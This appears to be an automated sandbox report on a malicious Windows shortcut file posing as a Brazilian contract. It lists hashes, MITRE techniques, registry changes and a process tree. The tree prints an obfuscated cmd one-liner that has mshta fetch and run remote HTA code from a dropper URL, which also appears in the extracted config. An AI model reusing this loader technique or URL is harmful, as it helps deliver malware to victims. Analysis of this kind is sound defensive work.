6e7011de24950da0509b2cedaa8fbc03d8bb1c5af15dcb4a8a5e235fe030f8e3

General

Target
Contrato_Indeniza_Brasil-VAIGIL.lnk
Size 1KB
Sample260803-pydd6shf67
SHA256 6e7011de24950da0509b2cedaa8fbc03d8bb1c5af15dcb4a8a5e235fe030f8e3
MD5 c2c601c51f9eab23bc11c0da9be990dc
SHA1 931d51e8793ef19824482f06644c60835f620d0c
SHA512 78a219d6bc3ba98f8b91db734a2572040fec769b64d6379bb07e10b88493f0bfacc65e3dad7f1951772d1dea90743a57dff5e42e0a051732536be89e6e49043d
TLSH
T1F63197103AFD0624F3F38E7685BBA72199BBBA968E20CA0D4080464C5072A04E57BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2484	mshta.exe
18	2484	mshta.exe
20	2484	mshta.exe
34	2484	mshta.exe
36	2484	mshta.exe
38	2484	mshta.exe
44	2484	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2228	cmd.exe
1940	cmd.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4256	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 1940	2228	cmd.exe	86
PID 1940 wrote to memory of 2484	1940	cmd.exe	87
PID 2484 wrote to memory of 4256	2484	mshta.exe	97
PID 4256 wrote to memory of 3588	4256	rundll32.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-VAIGIL.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2228
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set VpX=msh&&set qSSbr=ta&&start "" !VpX!!qSSbr! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4256
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:3588